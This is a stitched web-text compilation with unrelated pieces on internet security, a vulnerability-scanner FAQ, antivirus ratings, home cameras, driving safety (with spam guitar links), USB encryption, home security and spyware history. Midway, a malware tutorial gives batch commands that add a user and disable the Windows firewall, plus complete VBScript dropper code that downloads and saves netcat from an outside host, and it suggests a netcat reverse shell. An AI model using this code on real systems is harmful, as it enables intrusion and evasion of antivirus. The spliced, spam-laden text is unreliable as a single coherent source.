How do we define Internet security? Things have changed since the earliest days of computer viruses and spyware. Today, Internet security is a very broad topic.
First of all, there is a bigger list of threats. Here are some of them:
Scareware (such as fake antivirus programs)
And several more
Many of these threats overlap and become part of each other. For example, Trojans deliver other malware like spyware and adware. Phishing can lead to rootkit infections and backdoors to hackers.
Some may only force you to view ads and do little harm otherwise. Others can turn your system into a “zombie computer” that becomes part of a “botnet” and is controlled by a “CC or command and control center”. This reminds of the Borg in the Star Trek movies. Remember “resistance is futile”? Yeah, that could be you.
Even a single threat like a specific virus sometimes gets reincarnated regularly. As soon as antivirus companies (AV companies) discover one and create a solution for it, the virus authors begin working on a variation that isn’t found by the solution, sometimes within hours. This means that the AV vendors are always behind the curve.
Corporate networks have the same problems that you do but on a much bigger scale. Their IT (Information Technology) departments work tirelessly to lock down the company networks so that only authorized traffic gets in or out and they steer clear of threats.
Generally, all of these categories and variations of threats are now just called “malware”. So, one way to define Internet security might be:
“Internet security is the attempt to protect computers and networks, while connected to the Internet, from malware and unauthorized access”
That’s just my definition, though. And to expand a little more, Internet security is a combination of human intervention and vigilance along with software security tools used at various points in a network and on computers.
As a side note, we want to protect them after they’re disconnected from the Internet as well because some malware has a delay action built in. Also, malware gets carried from computer to computer via flash drives and other storage devices.
So, to define Internet security might only take a sentence or two but it covers a whole lot of territory when you get into the details. Be sure to look around and get educated so that you can make sure you have a top Internet security solution too.
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WhiteHat Sentinel runs assessments for the 24 Web Application Security Consortium (WASC) vulnerability classes such as Cross-Site Scripting, Directory Traversal, and SQL Injection. You can find explanations about these vulnerability classes in the Sentinel Glossary, located under the Resources tab.
The methods used by attackers to exploit vulnerabilities are constantly evolving; thus, part of the WhiteHat Sentinel Service includes ongoing refinement of testing patterns to ensure that Web applications are tested against the latest attack variations.
What is the difference between Threat and Severity?
Threat and Severity levels are standard ranking systems developed by the Payment Card Industry (PCI) Security Standards Council. Specifically, the severity level for a vulnerability measures the potential business impact if exploited,
and threat level indicates how easily it can be exploited.
How do I use the Web API?
The Sentinel Web API allows you to retrieve your own vulnerability, site, and and schedule information in XML format from WhiteHat. This data may then be integrated into your developer defect tracking systems or security information
management systems (SIMS). You can access the Web API instructions by logging on to Sentinel, clicking on the Resources tab, and selecting the API Reference link.
What are the hours of operation for Customer Support & Response Times?
Service Request Response Time: (Cases submitted/logged via the customer support portal during business hours: M-F, 6:00 AM – 7:00 PM PT
Standard Support – Next business day
Silver Support – 8 business hours
Gold Support – 1 hour – Critical (24×7), 4 hours – Serious
What is the difference between the executive summary and the full report?
The difference between the two reports is most apparent when comparing reports that include all sites. Both reports contain a graphical overview and vulnerability overview of vulnerabilities across all sites at once, as well as the WASC
vulnerability classifications and a Web security glossary.
The full report also includes per-site chapters with statistical graphs and vulnerability details for each site. This information is useful for developers to understand and fix the vulnerabilities in their custom code.
I ran a scan last night, but I have no vulnerabilities in my Findings page. Does that mean there are no vulnerabilities in my website?
Almost all Web applications have at least low-level vulnerabilities, so the complete lack of any findings on your interface after a scan has been completed usually means the vulnerabilities are being verified by human eyes. To prevent false positives, vulnerabilities only appear in your Findings page after they have been verified. The WhiteHat Operations team verifies vulnerabilities during normal business hours in Pacific Standard Time.
How can I make the scans go faster or slower?
Scan speeds can be increased by clicking on a site on the Sentinel interface, clicking the Settings submenu, and increasing the number of HTTP requests sent by the Sentinel scanner per second. By default, all scans are set at a medium speed, which is no more than four requests per second single threaded. The
Sentinel scanner requests will match the response times of the target website, so if your site contains pages that load slowly, this will effect the frequency of requests the scanner can make, which lengthens the overall scan time.
I just scheduled a scan to run until completion. How long is this scan going to take?
WhiteHat Sentinel scans run “low and slow”, meaning that scans are specifically designed to have no discernible effect on your website’s performance. The length of time it takes for a scheduled vulnerability assessment to complete depends on various factors, such as the number of pages to assess, the load time of each individual page, and the speed (number of requests per second) indicated in the site’s settings in Sentinel. Keep in mind that your first findings will not appear in your interface until after they have each been verified by a member of the Operations team.
How To Choose The Best
How does a web site go about choosing the top Internet security software? Well, there are oodles of magazines, rating sites, vendors, and testing shops that have their opinions. Plus, there are several operating systems, business versus home users, and various categories of testing that come into play.
Furthermore, the testing labs don’t test every product in every test they do. Sometimes they test the free version and sometimes the enterprise (big business) version. Sometimes vendors don’t want to be tested and ask to be left out. Other times, the lab’s rules will disqualify a product. All of this makes rating them very difficult.
In the end, there are just too many variables to look at, making it impossible to say something so general as, “Double Whammy Internet Security 2149 is the top Internet security software on the market”. So, what do we do???
Well, the target audience for this web site is the average, non-technical home user: grandmas, students, fantasy football addicts, etc. So, I’m coming from the perspective of a home user running Windows 7 (I hope you upgrade if you haven’t already but if you have XP, it’s OK) who wants to install something and then “fagetaboutit”. If that’s you then you’re in the right place.
The Big Three Testing Labs
What I do here is keep up with three of the large testing firms: AV-Test, AV-Comparatives, and Virus Bulletin. Yes, there are more of them but these three are sufficient for our purposes.
These guys do testing under various categories constantly, 24/7 under all kinds of situations that we may or may not ever see. If anyone is going to get close to what we all face every day on the Net, it’s them.
Now, they do different kinds of tests throughout the year such as, “Real-World Protection Tests”, “False Alarm Tests”, “Anti-Phishing Test” and so on. There’s no good way to boil all of these tests down into a single decision as to who is “best”. In my mind, the next best thing is to adjust a simple scoring method to the latest available tests from all three labs that most closely apply to our target audience, sprinkle some magical pixie dust on it and publish the “winners” as a constantly changing list on the home page.
Did you get all that? No? Well, don’t worry, here’s the bottom line:
I’ve applied the magic formula (full disclosure: it’s not really magic 🙂 to as many products as I could in a spreadsheet. I use the latest test available that fits our needs. So, if AV-Test comes out with a new test in July and that test would be applicable to our ratings, we just run the spreadsheet with the new ratings and see where the chips fall. So, the top Internet security software “winner” is always changing.
Even so, don’t put too much weight on any ratings, including those you find here. I would venture to say that if you chose any of the top three at any given time, you’d be as protected as you can reasonably expect to be. So, don’t get too wound up about it all. The really, really important point is to get something, install it and keep it updated (which it usually does itself).
If you are fed up with crime in your neighborhood and wish to do a little extra to protect yourself and your home, you might want to consider installing some wireless camera equipment for security and surveillance. For as little as $500 you can purchase a couple of wireless security cameras that will transmit images back to your home computer. Of course, if your house is larger than the average, you will need additional cameras to obtain complete coverage with no blind spots.
Hidden or Visible Cameras
Do you want to place the cameras where they can be seen as to act as a deterrent, or disguise them to look like something other than a camera? If they are going to be in plain sight, then they should be out of reach as not to be tampered with. Hidden security cameras are manufactured to look like animals like birds and squirrels with security cameras inside them.
Placement of Cameras
The first thing you have to determine is where the cameras have to be positioned to obtain complete coverage of your compound. Also keep in mind that occasionally lenses must be cleaned and routine maintenance performed, so place them where they can be reached by you on your ladder. If possible, they should be placed to avoid as much of the weather as possible.
By far and away the most frequent problem people encounter with their security camera surveillance equipment is signal blockage. Most times this occurs when there are mass amounts of electrical wiring between the camera and the computer. Large plumbing configurations also block wireless signals. If you find yourself in this situation, you may have to purchase a wireless jumper unit that would bypass the problem areas to make your security camera surveillance equipment as effective as possible.
How the System Works
The security camera surveillance equipment works by broadcasting images via your home wireless system to the computer in your home that you have selected to receive them. Once the image has been received by the computer, it decodes it and allows you to view it, either one camera at a time, or on a split screen watching multiple feeds at the same time.
Once the video camera has sent an image to your computer, you can record the video feed to your hard drive or a tape backup system or let it play live. Oftentimes the video feed can be quite lengthy, so make sure you have plenty of room on your hard drive to record it on.
With a little skill, you can definitely install your own security cameras and surveillance equipment.
One of the problems regarding discussing road safety is that you will not find many drivers who will admit to their own faults. You here drivers whine all the time about how bad other drivers are but do not think if they drive safely themselves. There are many benefits to driving in a conscientious way and these include avoiding physical harm and keeping the cost of your car insurance down. Here are some basic tips to check out that can help keep you accident free on the road.
Your first two key elements that contribute to accidents on the road are speed and distance. If we start with speed, the fact that when you drive too fast you are more likely to come to grief, is fairly obvious. Nevertheless whenever you speed without any caution, then you can put people in serious danger. You’ll notice clearly appropriate speeds that we need to conform to but often drivers fail to adapt based on where they are driving and the actual conditions of the day. As an example, on a nice sunny day on a vacant road, cruising at a fairly high speed can be enjoyable and pretty safe. However, weather circumstances such as rain, snow and fog can drastically change the speed at which it is safe to go.
If we are aware that driving too fast is based on the conditions on the road, then what about distance? There are guidelines in place that state how much distance we need to keep between ourselves and the car in front and yet you see so many drivers who seem drawn to the rear of the vehicle before them. This situation occurs when people are rushing to get somewhere. There’s a misconception that tailgating the vehicle in front of you will get you anyplace faster. It is incorrect to imagine that the unanticipated won’t happen to you, so what you need to consider is if the car in front has a blow out, are you in a position to stop safely.
The condition of your car can be easily forgotten or overlooked. Performing routine car maintenance is an important part of car safety. Guild F-50 Standard Acoustic Guitar Review, http://www.cheapguitarshq.com/marshall-2203kk-kerry-king-signature-jcm800-amp-review, and http://www.cheapguitarshq.com/fishman-afx-acoustic-guitar-effects-pedal-reviews. Right here, right now! Getting the tires and brakes in great shape will insure safe driving during dangerous road conditions. The money necessary for car maintenance can be a hassle for some but it is worth budgeting for this as it is not only your own safety but that of your family and other road users that is at risk.
If everybody drives very carefully and considerately, then everyone is going to have a safe driving experience. The most important thing is to get to the place you need to go safely. It is very important that you focus your attention on your driving and cut down on distractions such as eating on the go or endeavoring to read something casually. You will avoid serious accidents on the highway if you follow these tips.
How To Password Protect USB Drive: 3 Easy Ways
We are now in the age when everything around us gets smaller, more compact, portable and easily transferrable. At the forefront is a USB (Universal Serial Bus) thumb drive. It is a small and portable storage device which is compatible with almost every technological device or gadget known to man. As its name implies, it’s universal and can be used with practically any device with USB ports. With these features, it’s easily the top choice for many. It comes in variety of shapes and sizes. Due to its compact size, one can easily lose or misplace it. It’s very risky especially if it contains sensitive and confidential data.
That’s where a call for data protection and security come to play. Needless to say, it’s imperative to protect your data and its storage. Commonly, putting a password to your USB drive is the way to go. But it’s not as easy as it sounds. It’s not like creating a password for your Facebook Account.
Password protecting or encrypting your USB drives entails the use of various tools, unless you want to go an easier route and shell out a few dollars then buy a secure flash drive with hardware encryption.
How To Password Protect USB Drive?
As discussed earlier, the surest way to protect your data is through encryption. But it costs a few extra dollars, so an alternate is to put a password on your files instead. Especially, if you don’t intend to password protect the entire USB drive, you may also want to sort your files from sensitive which need protection and those that are not.
Manually Save Files With a Password
As mentioned above, you can’t safely password protect your entire USB stick without using encryption. However, if you shy away from the time consuming encryption process of entire folders and need a really quick way to only protect a few selected files, maybe you can simply save those with a USB password.
Windows programs like MS Word and Excel provide an option to save your work with a password.
In MS Word, you need to go Tools > Options and Security tab. It will let you key in your preferred Password which will be used to open such file. See image below.
Many programs, including Word and Excel, allow you to save files with a password. For example in Word, while the document is open, go to > Tools > Options and switch to the Security tab. Now enter a Password to open, click OK, re-enter the password when asked, and finally save your document and don’t forget the password.
Create An Encrypted & Password Protected Partition With Rohos Mini Drive:
Various encryption tools abound. However, most of them require Administrator rights to install and use them. An example of this is TrueCrypt, this may not appeal to users who do not have administrator rights. Rohos Mini Drive, on the other hand, does away with requiring users to have Administrator rights. Its free version can be used to create a hidden and password protected partition of up to 2GB in your USB drive. It utilizes automatic on-the-fly encryption with AES 256 bit key length. It’s easy to use feature lets users encrypt their USB drives and use it to any device.
Rohos Mini Drive, You can access it via Rohos Mini.exe icon from the root folder. You just have to key in your password and instantly Rohos disk will be mounted and accessible via your Computer. To disconnect your encrypted USB drive, just right-click the Rohos icon from the Windows taskbar notification area and select Disconnect.
Lock Your Flash Drive with USB Safeguard:
Aside from Rohos Mini Drive, there’s another popular USB encryption for Password Protect USB Drive, choice which is called USB Safeguard. It is described as your friendly portable app that runs directly from your flash drive which doesn’t require Administrator rights to use. It utilizes on-the-fly AES 256 bit encryption. However, its storage capacity is limited only to 2GB for free version.
Get it by downloading the app usbsafeguard.exe and save it to your USB flash drive. You will be prompted for a password when running it the first time. That password will be used when accessing your USB drive so, better keep that in mind. It’s simple and very self-explanatory, unlock it when in use and then lock it when done with it. Refer to the image below.
This article will demonstrate how an average PC user can create a piece of malicious software in minutes that will be undetected by all the major anti-malware scanning engines.
This article is for informational purposes only and the author disclaims any responsibility for your use or misuse of any of the information contained herein.
It is well-known in blackhat circles that a new piece of malware, coded from scratch, will almost always bypass signature-based malware scanners. What is less known is that the skill needed to do this is minimal at best – an average user with no programming experience can cut and paste a few lines of code together and create a undetected malicious executable in 3 easy steps.
Most anti-virus scanners rely on a database of signatures for known viruses. Once a new virus is spread wide enough that it has been identified as malicious, the anti-virus vendors scramble to come up with a fingerprint to identify that strain of malware in the future. The obvious flaw in this process is that a new piece of malware will bypass the scanners by default, until it is widespread enough to be noticed by security researchers or picked up by a dummy node. There is always a window of opportunity for new malware between the time of deployment and the update of the signature databases and as recent malware trends demonstrate, this window is large enough to make a profit for the authors.
Roll-your-own undetected malware in 3 easy steps!
Step 1: Commands to execute
Here we compile the DOS commands that our malware will execute into a DOS batch file. As a simple proof of concept, let’s add a new user, disable the XP firewall, and create a directory on the C drive.
net user hacksafe hacksafe /add
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
Save the above as a filename.bat
Step 2: Compile to an executable
Experienced DOS users may remember a number of utilities that were able to convert a batch file into an executable (com or exe). These tools basically wrap a shell call around each of our commands and bundle the whole thing up into a tiny .exe file. One of the most well known is BAT2EXEC released by PC Magazine in 1990.
Our tiny executable COM file is ready to go.
Step 3: Test and Deploy
We now have a custom executable that runs some obvoiusly malicious commands: disabling the firewall and adding a new user. If we were to email this file to a target, surely any modern anti-virus scanner would pick this up as a simple batch file and alert us to the malicious code… right?
No patterns exist for this new piece of malware – it’s unrecognised by signature-based scanners. Heuristics and sandboxing may alert to suspicious activity, or email filtering may prevent our executable from reaching the target, but the primary mechanism of anti-malware protection has been defeated in a matter of seconds with little knowledge or skill on the part of the attacker. If the target user were to run our executable, the only indication of malicious activity would be a command prompt quickly appearing and disappearing on the desktop.
Step 4 (Optional):
A typical malware author would take the created executable and mangle it in various ways to make it harder to detect – using tools such as encrypters, packers, scramblers and EXE binders. The malicious code may be bundled with a legitimate executable, or packed with a rootkit or other remote access utility. For more information on how malware authors avoid detection, check out our article on packers and scramblers.
Example: Creating a simple dropper
A dropper is a small piece of malware designed to “drop” another peice of malware onto a system. It usually comes in the form of a simple executable that, when executed, retrieves a file from a hardcoded web or ftp site and executes it (usually a rootkit or botnet suite).
As a proof of concept, we can create a simple dropper using VBscript in a batch file that pulls down a copy of netcat from the Hacksafe site and executes it:
echo Dim DataBin >hacksafe.vbs
echo Dim HTTPGET >>hacksafe.vbs
echo Set HTTPGET = CreateObject(”Microsoft.XMLHTTP”) >>hacksafe.vbs
echo HTTPGET.Open “GET”, “http://www.hacksafe.com.au/nc.exe“, False>>hacksafe.vbs
echo HTTPGET.Send >>hacksafe.vbs
echo DataBin = HTTPGET.ResponseBody >>hacksafe.vbs
echo Const adTypeBinary=1 >>hacksafe.vbs
echo Const adSaveCreateOverWrite=2 >>hacksafe.vbs
echo Dim test1 >>hacksafe.vbs
echo Set test1 = CreateObject(”ADODB.Stream”) >>hacksafe.vbs
echo test1.Type = adTypeBinary >>hacksafe.vbs
echo test1.Open >>hacksafe.vbs
echo test1.Write DataBin >>hacksafe.vbs
echo test1.SaveToFile “malware.exe”, adSaveCreateOverWrite >>hacksafe.vbs
We compile using one of the many bat conversion utilities – Bat-to-Exe Converter 1.1. (This utility packs the output file using UPX, which may cause some anti-virus scanners to flag the file as potentially suspicious).
After creating our simple dropper.exe we submit it for scan:
Nothing found. It would be trivial to include the firewall disable command from the previous example and configure a netcat command line to listen on an incoming port and spawn a command shell. A new, undetected yet incredibly simple and obvious, remote access trojan!
It is hoped that this article serves to demonstrate the fundamental flaw of signature-based malware detection systems.
Some additional points to consider:
A .COM file under 64kb can be renamed to an .EXE (or .scr, or .lnk, etc) and will still execute.
Heuristics and behaviour analysis may detect malicious activity.
The examples above assume XP sp2 and the user has local admin privileges.
Many bat2exe utilities use a packer or scrambler that is recognised by signatures.
Anyone with programming experience can see that the above can be achieved using execve(), system().
This is old, old news. People were hacking BBS’s using BAT2EXE in the early 90’s!
Many homeowners and family heads are increasingly concerned about home security. Crime rates continue to go up everywhere, and more and more persons are worried about gun crimes, home invasions, and burglary. It’s a sad fact that a person cannot be safe while inside their own home.
It’s not pure paranoia that makes someone concerned about their own personal property and home security for their family. Not only are crimes on the rise, but violent crimes are increasing as well. And what is truly disturbing is that many crimes are committed by persons who seem to get younger and younger every year. There seems to be no respect taught for someone else’s property and possessions. If someone wants something, they just reach out and take it – without any concern for whether or not they hurt someone else in the process. So if you’re concerned about home security for you and your family, what can you do? Should you just get a gun and surround your property with barbed wire? Do you need to be suspicious of every person jogging down your street?
Chances are you don’t need to go to those extremes. There are many simple strategies to increase your own home security without bringing a gun into the house or turning your house into a fortress. Sometimes common sense solutions are all that’s needed for one’s home security.
Being aware of your surroundings and of strangers on your street is a good idea. If you see someone in your neighbor’s yard and it doesn’t look as if they belong there, and especially if you know your neighbor are not home, then you should consider calling the police. Part of your own home security is letting potential thieves know that your block is well observed. It also helps to make sure the city is keeping the streetlights in good repair and that they are working properly. Light is also important for your own home security, so be sure that your outside lights are working as well. Installing a light over the garage and near the entrances of your house are very important steps. Any home security expert will tell you how important that proper lighting is to home security.
It’s also important to be careful of unwanted visitors when considering your own home security. Be wary of persons that identify themselves as city workers, utility workers, or anyone else that wants to come into your home or onto your property. All utility workers will have identification badges with their pictures, but don’t even assume that this is enough to identify them. Before letting them in, call the utility company and confirm the visit. There have been many unfortunate instances of con artists and criminals forcing their way into a home by using this type of approach.
So yes, there are many reasons to be worried about home security. But if you use these common sense approaches, you can lessen your risk of crime greatly.
By 2000, a new type of threat was infecting our beloved computing devices–spyware.
With the dotcom bubble bursting and spewing financial losses all over everyone (yuck), you’d think that spyware wouldn’t be such a big deal. But it was new. And new is always interesting. Oh, and it meant that more money would be made. Long live capitalism!
I could just regurgitate the “History of Spyware” articles on the Net but instead I’ll quote a Lavasoft support page. Lavasoft is a Swedish based company founded (by Germans) in 1999 and was one of the first companies in the history of Internet security to produce antispyware software. Theirs is named Ad-Aware. They are still one of the best around.
“Virtually everyone with a computer has now heard of spyware, but where and when did it rear its ugly head for the first time? Here is a little history…
The word ‘spyware’ was used for the first time publicly in October 1995. It popped up on Usenet (a distributed Internet discussion system in which users post e-mail like messages) in an article aimed at Microsoft’s business model. In the years that followed though, spyware often referred to ‘snoop equipment’ such as tiny, hidden cameras. It re-appeared in a news release for a personal firewall product in early 2000, marking the beginning of the modern usage of the word.
In 1999, Steve Gibson of Gibson Research detected advertising software on his computer and suspected it was actually stealing his confidential information. The so-called adware had been covertly installed and was difficult to remove, so he decided to counter-attack and develop the first ever anti-spyware program, OptOut.
That’s where Lavasoft picked up and Gibson left off. He went on to other projects and Lavasoft became a pioneer in the anti-spyware industry with its signature free, downloadable product Ad-Aware. Lavasoft’s paid products soon followed and it is now the anti-spyware provider for 300 million computer users worldwide today.”
In the history of Internet security, spyware and its ugly little sister, adware, also fall under the malware heading if they have malicious intent.
It all started with pop up windows. Oh sure, they were novel and harmless at first. We stared in awe at our monitors at the shiny ads. But then another one popped up, then another, and another.
And then we started to wonder if these things were breeding. My monitor became a pop up petri dish! For those old enough to remember the most popular Star Trek episode of all time, “The Trouble With Tribbles”, was starting to feel very familiar. These annoying things persist today and all kinds of software has been made to block them.
Microsoft (who incidentally is part of the New World Order, I’m just not sure how yet) released the infamous Internet Explorer web browser. Then, in their infinite wisdom, they created the BHO, Browser Helper Object.
This fancy feature allowed other programs to do anything the browser could do such as install a virus or infect your PC with spyware. Usually a program did this by presenting you with a pop up window and tricked you into clicking on it. Then, BAM, now you need antispyware software.
Have you seen the pop ups that look like official Windows messages like this?
Yeah, you shouldn’t click on that–it’s spyware. It probably won’t be this obvious though.
Technically, in the history of Internet security, these early spyware threats were adware. They didn’t necessarily do bad things; they just try to sell you something most of the time.
But where there’s smoke, there’s fire and some unseemly types just couldn’t resist using pop ups to infect you with something nasty along the way. The history of Internet security is full of the good, the bad, and the ugly. Nowadays, we have drive by installs. All you have to do is VISIT a site to get infected. Great, huh? They just get better and better.
Spyware doesn’t usually replicate itself like a virus. It’s main purpose is to, well, spy on you. But it goes further than that. Spyware can and does the following:
change your home page
re-direct you to gambling or porn sites
change privacy and security settings
install dozens of bookmarks or shortcuts you didn’t ask for
logs the web sites you visit for the purpose of presenting targeted ads to you
uses up many of your system’s resources
steal your user and password info for banking and merchants
lots of other unwanted stuff